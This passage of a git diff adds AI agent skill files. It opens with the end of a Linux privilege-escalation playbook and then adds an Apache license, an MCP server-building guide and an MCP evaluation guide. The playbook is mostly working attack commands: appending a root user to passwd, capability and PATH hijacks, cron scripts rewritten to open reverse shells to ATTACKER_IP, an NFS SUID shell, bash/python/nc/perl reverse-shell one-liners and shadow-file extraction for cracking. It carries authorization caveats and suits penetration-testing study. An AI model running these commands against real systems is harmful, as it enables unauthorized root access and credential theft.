+newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash +``` + +### Phase 6: Capabilities Exploitation + +#### Enumerate Capabilities + +```bash +getcap -r / 2>/dev/null +``` + +#### Exploit Capabilities + +```bash +# Example: python with cap_setuid +/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' + +# Example: vim with cap_setuid +./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")' + +# Example: perl with cap_setuid +perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";' +``` + +### Phase 7: Cron Job Exploitation + +#### Enumerate Cron Jobs + +```bash +# System crontab +cat /etc/crontab + +# User crontabs +ls -la /var/spool/cron/crontabs/ + +# Cron directories +ls -la /etc/cron.* + +# Systemd timers +systemctl list-timers +``` + +#### Exploit Writable Cron Scripts + +```bash +# Identify writable cron script from /etc/crontab +ls -la /opt/backup.sh # Check permissions +echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh + +# If cron references non-existent script in writable PATH +echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh +chmod +x /home/user/antivirus.sh +``` + +### Phase 8: PATH Hijacking + +```bash +# Find SUID binary calling external command +strings /usr/local/bin/suid-binary +# Shows: system("service apache2 start") + +# Hijack by creating malicious binary in writable PATH +export PATH=/tmp:$PATH +echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service +chmod +x /tmp/service +/usr/local/bin/suid-binary # Execute SUID binary +``` + +### Phase 9: NFS Exploitation + +```bash +# On target - look for no_root_squash option +cat /etc/exports + +# On attacker - mount share and create SUID binary +showmount -e TARGET_IP +mount -o rw TARGET_IP:/share /tmp/nfs + +# Create and compile SUID shell +echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c +gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell + +# On target - execute +/share/shell +``` + +## Quick Reference + +### Enumeration Commands Summary +| Purpose | Command | +|---------|---------| +| Kernel version | `uname -a` | +| Current user | `id` | +| Sudo rights | `sudo -l` | +| SUID files | `find / -perm -u=s -type f 2>/dev/null` | +| Capabilities | `getcap -r / 2>/dev/null` | +| Cron jobs | `cat /etc/crontab` | +| Writable dirs | `find / -writable -type d 2>/dev/null` | +| NFS exports | `cat /etc/exports` | + +### Reverse Shell One-Liners +```bash +# Bash +bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 + +# Python +python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' + +# Netcat +nc -e /bin/bash ATTACKER_IP 4444 + +# Perl +perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");' +``` + +### Key Resources +- GTFOBins: https://gtfobins.github.io +- LinPEAS: https://github.com/carlospolop/PEASS-ng +- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester + +## Constraints and Guardrails + +### Operational Boundaries +- Verify kernel exploits in test environment before production use +- Failed kernel exploits may crash the system +- Document all changes made during privilege escalation +- Maintain access persistence only as authorized + +### Technical Limitations +- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP) +- AppArmor/SELinux may restrict exploitation techniques +- Container environments limit kernel-level exploits +- Hardened systems may have restricted sudo configurations + +### Legal and Ethical Requirements +- Written authorization required before testing +- Stay within defined scope boundaries +- Report critical findings immediately +- Do not access data beyond scope requirements + +## Examples + +### Example 1: Sudo to Root via find + +**Scenario**: User has sudo rights for find command + +```bash +$ sudo -l +User user may run the following commands: + (root) NOPASSWD: /usr/bin/find + +$ sudo find . -exec /bin/bash \; -quit +# id +uid=0(root) gid=0(root) groups=0(root) +``` + +### Example 2: SUID base64 for Shadow Access + +**Scenario**: base64 binary has SUID bit set + +```bash +$ find / -perm -u=s -type f 2>/dev/null | grep base64 +/usr/bin/base64 + +$ base64 /etc/shadow | base64 -d +root:$6$xyz...:18000:0:99999:7::: + +# Crack offline with john +$ john --wordlist=rockyou.txt shadow.txt +``` + +### Example 3: Cron Job Script Hijacking + +**Scenario**: Root cron job executes writable script + +```bash +$ cat /etc/crontab +* * * * * root /opt/scripts/backup.sh + +$ ls -la /opt/scripts/backup.sh +-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh + +$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh + +# Wait 1 minute +$ /tmp/bash -p +# id +uid=1000(user) gid=1000(user) euid=0(root) +``` + +## Troubleshooting + +| Issue | Solutions | +|-------|-----------| +| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` | +| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering | +| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges | +| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab | + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/mcp-builder/LICENSE.txt b/skills/mcp-builder/LICENSE.txt new file mode 100644 index 0000000000000000000000000000000000000000..4f881c52d1f72f4cfb720e339e2d35c3058d01a9 --- /dev/null +++ b/skills/mcp-builder/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2026 Anthropic, PBC. + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/mcp-builder/SKILL.md b/skills/mcp-builder/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..8a1a77a47d141967b246adb4da4f91037578ff7d --- /dev/null +++ b/skills/mcp-builder/SKILL.md @@ -0,0 +1,236 @@ +--- +name: mcp-builder +description: Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when building MCP servers to integrate external APIs or services, whether in Python (FastMCP) or Node/TypeScript (MCP SDK). +license: Complete terms in LICENSE.txt +--- + +# MCP Server Development Guide + +## Overview + +Create MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. The quality of an MCP server is measured by how well it enables LLMs to accomplish real-world tasks. + +--- + +# Process + +## 🚀 High-Level Workflow + +Creating a high-quality MCP server involves four main phases: + +### Phase 1: Deep Research and Planning + +#### 1.1 Understand Modern MCP Design + +**API Coverage vs. Workflow Tools:** +Balance comprehensive API endpoint coverage with specialized workflow tools. Workflow tools can be more convenient for specific tasks, while comprehensive coverage gives agents flexibility to compose operations. Performance varies by client—some clients benefit from code execution that combines basic tools, while others work better with higher-level workflows. When uncertain, prioritize comprehensive API coverage. + +**Tool Naming and Discoverability:** +Clear, descriptive tool names help agents find the right tools quickly. Use consistent prefixes (e.g., `github_create_issue`, `github_list_repos`) and action-oriented naming. + +**Context Management:** +Agents benefit from concise tool descriptions and the ability to filter/paginate results. Design tools that return focused, relevant data. Some clients support code execution which can help agents filter and process data efficiently. + +**Actionable Error Messages:** +Error messages should guide agents toward solutions with specific suggestions and next steps. + +#### 1.2 Study MCP Protocol Documentation + +**Navigate the MCP specification:** + +Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml` + +Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`). + +Key pages to review: +- Specification overview and architecture +- Transport mechanisms (streamable HTTP, stdio) +- Tool, resource, and prompt definitions + +#### 1.3 Study Framework Documentation + +**Recommended stack:** +- **Language**: TypeScript (high-quality SDK support and good compatibility in many execution environments e.g. MCPB. Plus AI models are good at generating TypeScript code, benefiting from its broad usage, static typing and good linting tools) +- **Transport**: Streamable HTTP for remote servers, using stateless JSON (simpler to scale and maintain, as opposed to stateful sessions and streaming responses). stdio for local servers. + +**Load framework documentation:** + +- **MCP Best Practices**: [📋 View Best Practices](./reference/mcp_best_practices.md) - Core guidelines + +**For TypeScript (recommended):** +- **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` +- [⚡ TypeScript Guide](./reference/node_mcp_server.md) - TypeScript patterns and examples + +**For Python:** +- **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` +- [🐍 Python Guide](./reference/python_mcp_server.md) - Python patterns and examples + +#### 1.4 Plan Your Implementation + +**Understand the API:** +Review the service's API documentation to identify key endpoints, authentication requirements, and data models. Use web search and WebFetch as needed. + +**Tool Selection:** +Prioritize comprehensive API coverage. List endpoints to implement, starting with the most common operations. + +--- + +### Phase 2: Implementation + +#### 2.1 Set Up Project Structure + +See language-specific guides for project setup: +- [⚡ TypeScript Guide](./reference/node_mcp_server.md) - Project structure, package.json, tsconfig.json +- [🐍 Python Guide](./reference/python_mcp_server.md) - Module organization, dependencies + +#### 2.2 Implement Core Infrastructure + +Create shared utilities: +- API client with authentication +- Error handling helpers +- Response formatting (JSON/Markdown) +- Pagination support + +#### 2.3 Implement Tools + +For each tool: + +**Input Schema:** +- Use Zod (TypeScript) or Pydantic (Python) +- Include constraints and clear descriptions +- Add examples in field descriptions + +**Output Schema:** +- Define `outputSchema` where possible for structured data +- Use `structuredContent` in tool responses (TypeScript SDK feature) +- Helps clients understand and process tool outputs + +**Tool Description:** +- Concise summary of functionality +- Parameter descriptions +- Return type schema + +**Implementation:** +- Async/await for I/O operations +- Proper error handling with actionable messages +- Support pagination where applicable +- Return both text content and structured data when using modern SDKs + +**Annotations:** +- `readOnlyHint`: true/false +- `destructiveHint`: true/false +- `idempotentHint`: true/false +- `openWorldHint`: true/false + +--- + +### Phase 3: Review and Test + +#### 3.1 Code Quality + +Review for: +- No duplicated code (DRY principle) +- Consistent error handling +- Full type coverage +- Clear tool descriptions + +#### 3.2 Build and Test + +**TypeScript:** +- Run `npm run build` to verify compilation +- Test with MCP Inspector: `npx @modelcontextprotocol/inspector` + +**Python:** +- Verify syntax: `python -m py_compile your_server.py` +- Test with MCP Inspector + +See language-specific guides for detailed testing approaches and quality checklists. + +--- + +### Phase 4: Create Evaluations + +After implementing your MCP server, create comprehensive evaluations to test its effectiveness. + +**Load [✅ Evaluation Guide](./reference/evaluation.md) for complete evaluation guidelines.** + +#### 4.1 Understand Evaluation Purpose + +Use evaluations to test whether LLMs can effectively use your MCP server to answer realistic, complex questions. + +#### 4.2 Create 10 Evaluation Questions + +To create effective evaluations, follow the process outlined in the evaluation guide: + +1. **Tool Inspection**: List available tools and understand their capabilities +2. **Content Exploration**: Use READ-ONLY operations to explore available data +3. **Question Generation**: Create 10 complex, realistic questions +4. **Answer Verification**: Solve each question yourself to verify answers + +#### 4.3 Evaluation Requirements + +Ensure each question is: +- **Independent**: Not dependent on other questions +- **Read-only**: Only non-destructive operations required +- **Complex**: Requiring multiple tool calls and deep exploration +- **Realistic**: Based on real use cases humans would care about +- **Verifiable**: Single, clear answer that can be verified by string comparison +- **Stable**: Answer won't change over time + +#### 4.4 Output Format + +Create an XML file with this structure: + +```xml + + + Find discussions about AI model launches with animal codenames. One model needed a specific safety designation that uses the format ASL-X. What number X was being determined for the model named after a spotted wild cat? + 3 + + + +``` + +--- + +# Reference Files + +## 📚 Documentation Library + +Load these resources as needed during development: + +### Core MCP Documentation (Load First) +- **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix +- [📋 MCP Best Practices](./reference/mcp_best_practices.md) - Universal MCP guidelines including: + - Server and tool naming conventions + - Response format guidelines (JSON vs Markdown) + - Pagination best practices + - Transport selection (streamable HTTP vs stdio) + - Security and error handling standards + +### SDK Documentation (Load During Phase 1/2) +- **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` +- **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` + +### Language-Specific Implementation Guides (Load During Phase 2) +- [🐍 Python Implementation Guide](./reference/python_mcp_server.md) - Complete Python/FastMCP guide with: + - Server initialization patterns + - Pydantic model examples + - Tool registration with `@mcp.tool` + - Complete working examples + - Quality checklist + +- [⚡ TypeScript Implementation Guide](./reference/node_mcp_server.md) - Complete TypeScript guide with: + - Project structure + - Zod schema patterns + - Tool registration with `server.registerTool` + - Complete working examples + - Quality checklist + +### Evaluation Guide (Load During Phase 4) +- [✅ Evaluation Guide](./reference/evaluation.md) - Complete evaluation creation guide with: + - Question creation guidelines + - Answer verification strategies + - XML format specifications + - Example questions and answers + - Running an evaluation with the provided scripts diff --git a/skills/mcp-builder/reference/evaluation.md b/skills/mcp-builder/reference/evaluation.md new file mode 100644 index 0000000000000000000000000000000000000000..87e9bb78840fac113d93b4a27ab5b229a18cf226 --- /dev/null +++ b/skills/mcp-builder/reference/evaluation.md @@ -0,0 +1,602 @@ +# MCP Server Evaluation Guide + +## Overview + +This document provides guidance on creating comprehensive evaluations for MCP servers. Evaluations test whether LLMs can effectively use your MCP server to answer realistic, complex questions using only the tools provided. + +--- + +## Quick Reference + +### Evaluation Requirements +- Create 10 human-readable questions +- Questions must be READ-ONLY, INDEPENDENT, NON-DESTRUCTIVE +- Each question requires multiple tool calls (potentially dozens) +- Answers must be single, verifiable values +- Answers must be STABLE (won't change over time) + +### Output Format +```xml + + + Your question here + Single verifiable answer + + +``` + +--- + +## Purpose of Evaluations + +The measure of quality of an MCP server is NOT how well or comprehensively the server implements tools, but how well these implementations (input/output schemas, docstrings/descriptions, functionality) enable LLMs with no other context and access ONLY to the MCP servers to answer realistic and difficult questions. + +## Evaluation Overview + +Create 10 human-readable questions requiring ONLY READ-ONLY, INDEPENDENT, NON-DESTRUCTIVE, and IDEMPOTENT operations to answer. Each question should be: +- Realistic +- Clear and concise +- Unambiguous +- Complex, requiring potentially dozens of tool calls or steps +- Answerable with a single, verifiable value that you identify in advance + +## Question Guidelines + +### Core Requirements + +1. **Questions MUST be independent** + - Each question should NOT depend on the answer to any other question + - Should not assume prior write operations from processing another question + +2. **Questions MUST require ONLY NON-DESTRUCTIVE AND IDEMPOTENT tool use** + - Should not instruct or require modifying state to arrive at the correct answer + +3. **Questions must be REALISTIC, CLEAR, CONCISE, and COMPLEX** + - Must require another LLM to use multiple (potentially dozens of) tools or steps to answer + +### Complexity and Depth + +4. **Questions must require deep exploration** + - Consider multi-hop questions requiring multiple sub-questions and sequential tool calls + - Each step should benefit from information found in previous questions + +5. **Questions may require extensive paging** + - May need paging through multiple pages of results + - May require querying old data (1-2 years out-of-date) to find niche information + - The questions must be DIFFICULT + +6. **Questions must require deep understanding** + - Rather than surface-level knowledge + - May pose complex ideas as True/False questions requiring evidence + - May use multiple-choice format where LLM must search different hypotheses + +7. **Questions must not be solvable with straightforward keyword search** + - Do not include specific keywords from the target content + - Use synonyms, related concepts, or paraphrases + - Require multiple searches, analyzing multiple related items, extracting context, then deriving the answer + +### Tool Testing + +8. **Questions should stress-test tool return values** + - May elicit tools returning large JSON objects or lists, overwhelming the LLM + - Should require understanding multiple modalities of data: + - IDs and names + - Timestamps and datetimes (months, days, years, seconds) + - File IDs, names, extensions, and mimetypes + - URLs, GIDs, etc. + - Should probe the tool's ability to return all useful forms of data + +9. **Questions should MOSTLY reflect real human use cases** + - The kinds of information retrieval tasks that HUMANS assisted by an LLM would care about + +10. **Questions may require dozens of tool calls** + - This challenges LLMs with limited context + - Encourages MCP server tools to reduce information returned + +11. **Include ambiguous questions** + - May be ambiguous OR require difficult decisions on which tools to call + - Force the LLM to potentially make mistakes or misinterpret + - Ensure that despite AMBIGUITY, there is STILL A SINGLE VERIFIABLE ANSWER + +### Stability + +12. **Questions must be designed so the answer DOES NOT CHANGE** + - Do not ask questions that rely on "current state" which is dynamic + - For example, do not count: + - Number of reactions to a post + - Number of replies to a thread + - Number of members in a channel + +13. **DO NOT let the MCP server RESTRICT the kinds of questions you create** + - Create challenging and complex questions + - Some may not be solvable with the available MCP server tools + - Questions may require specific output formats (datetime vs. epoch time, JSON vs. MARKDOWN) + - Questions may require dozens of tool calls to complete + +## Answer Guidelines + +### Verification + +1. **Answers must be VERIFIABLE via direct string comparison** + - If the answer can be re-written in many formats, clearly specify the output format in the QUESTION + - Examples: "Use YYYY/MM/DD.", "Respond True or False.", "Answer A, B, C, or D and nothing else." + - Answer should be a single VERIFIABLE value such as: + - User ID, user name, display name, first name, last name + - Channel ID, channel name + - Message ID, string + - URL, title + - Numerical quantity + - Timestamp, datetime + - Boolean (for True/False questions) + - Email address, phone number + - File ID, file name, file extension + - Multiple choice answer + - Answers must not require special formatting or complex, structured output + - Answer will be verified using DIRECT STRING COMPARISON + +### Readability + +2. **Answers should generally prefer HUMAN-READABLE formats** + - Examples: names, first name, last name, datetime, file name, message string, URL, yes/no, true/false, a/b/c/d + - Rather than opaque IDs (though IDs are acceptable) + - The VAST MAJORITY of answers should be human-readable + +### Stability + +3. **Answers must be STABLE/STATIONARY** + - Look at old content (e.g., conversations that have ended, projects that have launched, questions answered) + - Create QUESTIONS based on "closed" concepts that will always return the same answer + - Questions may ask to consider a fixed time window to insulate from non-stationary answers + - Rely on context UNLIKELY to change + - Example: if finding a paper name, be SPECIFIC enough so answer is not confused with papers published later + +4. **Answers must be CLEAR and UNAMBIGUOUS** + - Questions must be designed so there is a single, clear answer + - Answer can be derived from using the MCP server tools + +### Diversity + +5. **Answers must be DIVERSE** + - Answer should be a single VERIFIABLE value in diverse modalities and formats + - User concept: user ID, user name, display name, first name, last name, email address, phone number + - Channel concept: channel ID, channel name, channel topic + - Message concept: message ID, message string, timestamp, month, day, year + +6. **Answers must NOT be complex structures** + - Not a list of values + - Not a complex object + - Not a list of IDs or strings + - Not natural language text + - UNLESS the answer can be straightforwardly verified using DIRECT STRING COMPARISON + - And can be realistically reproduced + - It should be unlikely that an LLM would return the same list in any other order or format + +## Evaluation Process + +### Step 1: Documentation Inspection + +Read the documentation of the target API to understand: +- Available endpoints and functionality +- If ambiguity exists, fetch additional information from the web +- Parallelize this step AS MUCH AS POSSIBLE +- Ensure each subagent is ONLY examining documentation from the file system or on the web + +### Step 2: Tool Inspection + +List the tools available in the MCP server: +- Inspect the MCP server directly +- Understand input/output schemas, docstrings, and descriptions +- WITHOUT calling the tools themselves at this stage + +### Step 3: Developing Understanding + +Repeat steps 1 & 2 until you have a good understanding: +- Iterate multiple times +- Think about the kinds of tasks you want to create +- Refine your understanding +- At NO stage should you READ the code of the MCP server implementation itself +- Use your intuition and understanding to create reasonable, realistic, but VERY challenging tasks + +### Step 4: Read-Only Content Inspection + +After understanding the API and tools, USE the MCP server tools: +- Inspect content using READ-ONLY and NON-DESTRUCTIVE operations ONLY +- Goal: identify specific content (e.g., users, channels, messages, projects, tasks) for creating realistic questions +- Should NOT call any tools that modify state +- Will NOT read the code of the MCP server implementation itself +- Parallelize this step with individual sub-agents pursuing independent explorations +- Ensure each subagent is only performing READ-ONLY, NON-DESTRUCTIVE, and IDEMPOTENT operations +- BE CAREFUL: SOME TOOLS may return LOTS OF DATA which would cause you to run out of CONTEXT +- Make INCREMENTAL, SMALL, AND TARGETED tool calls for exploration +- In all tool call requests, use the `limit` parameter to limit results (<10) +- Use pagination + +### Step 5: Task Generation + +After inspecting the content, create 10 human-readable questions: +- An LLM should be able to answer these with the MCP server +- Follow all question and answer guidelines above + +## Output Format + +Each QA pair consists of a question and an answer. The output should be an XML file with this structure: + +```xml + + + Find the project created in Q2 2024 with the highest number of completed tasks. What is the project name? + Website Redesign + + + Search for issues labeled as "bug" that were closed in March 2024. Which user closed the most issues? Provide their username. + sarah_dev + + + Look for pull requests that modified files in the /api directory and were merged between January 1 and January 31, 2024. How many different contributors worked on these PRs? + 7 + + + Find the repository with the most stars that was created before 2023. What is the repository name? + data-pipeline + + +``` + +## Evaluation Examples + +### Good Questions + +**Example 1: Multi-hop question requiring deep exploration (GitHub MCP)** +```xml + + Find the repository that was archived in Q3 2023 and had previously been the most forked project in the organization. What was the primary programming language used in that repository? + Python + +``` + +This question is good because: +- Requires multiple searches to find archived repositories +- Needs to identify which had the most forks before archival +- Requires examining repository details for the language +- Answer is a simple, verifiable value +- Based on historical (closed) data that won't change + +**Example 2: Requires understanding context without keyword matching (Project Management MCP)** +```xml + + Locate the initiative focused on improving customer onboarding that was completed in late 2023. The project lead created a retrospective document after completion. What was the lead's role title at that time? + Product Manager + +``` + +This question is good because: +- Doesn't use specific project name ("initiative focused on improving customer onboarding") +- Requires finding completed projects from specific timeframe +- Needs to identify the project lead and their role +- Requires understanding context from retrospective documents +- Answer is human-readable and stable +- Based on completed work (won't change) + +**Example 3: Complex aggregation requiring multiple steps (Issue Tracker MCP)** +```xml + + Among all bugs reported in January 2024 that were marked as critical priority, which assignee resolved the highest percentage of their assigned bugs within 48 hours? Provide the assignee's username. + alex_eng + +``` + +This question is good because: +- Requires filtering bugs by date, priority, and status +- Needs to group by assignee and calculate resolution rates +- Requires understanding timestamps to determine 48-hour windows +- Tests pagination (potentially many bugs to process) +- Answer is a single username +- Based on historical data from specific time period + +**Example 4: Requires synthesis across multiple data types (CRM MCP)** +```xml + + Find the account that upgraded from the Starter to Enterprise plan in Q4 2023 and had the highest annual contract value. What industry does this account operate in? + Healthcare + +``` + +This question is good because: +- Requires understanding subscription tier changes +- Needs to identify upgrade events in specific timeframe +- Requires comparing contract values +- Must access account industry information +- Answer is simple and verifiable +- Based on completed historical transactions + +### Poor Questions + +**Example 1: Answer changes over time** +```xml + + How many open issues are currently assigned to the engineering team? + 47 + +``` + +This question is poor because: +- The answer will change as issues are created, closed, or reassigned +- Not based on stable/stationary data +- Relies on "current state" which is dynamic + +**Example 2: Too easy with keyword search** +```xml + + Find the pull request with title "Add authentication feature" and tell me who created it. + developer123 + +``` + +This question is poor because: +- Can be solved with a straightforward keyword search for exact title +- Doesn't require deep exploration or understanding +- No synthesis or analysis needed + +**Example 3: Ambiguous answer format** +```xml + + List all the repositories that have Python as their primary language. + repo1, repo2, repo3, data-pipeline, ml-tools + +``` + +This question is poor because: +- Answer is a list that could be returned in any order +- Difficult to verify with direct string comparison +- LLM might format differently (JSON array, comma-separated, newline-separated) +- Better to ask for a specific aggregate (count) or superlative (most stars) + +## Verification Process + +After creating evaluations: + +1. **Examine the XML file** to understand the schema +2. **Load each task instruction** and in parallel using the MCP server and tools, identify the correct answer by attempting to solve the task YOURSELF +3. **Flag any operations** that require WRITE or DESTRUCTIVE operations +4. **Accumulate all CORRECT answers** and replace any incorrect answers in the document +5. **Remove any ``** that require WRITE or DESTRUCTIVE operations + +Remember to parallelize solving tasks to avoid running out of context, then accumulate all answers and make changes to the file at the end. + +## Tips for Creating Quality Evaluations + +1. **Think Hard and Plan Ahead** before generating tasks +2. **Parallelize Where Opportunity Arises** to speed up the process and manage context +3. **Focus on Realistic Use Cases** that humans would actually want to accomplish +4. **Create Challenging Questions** that test the limits of the MCP server's 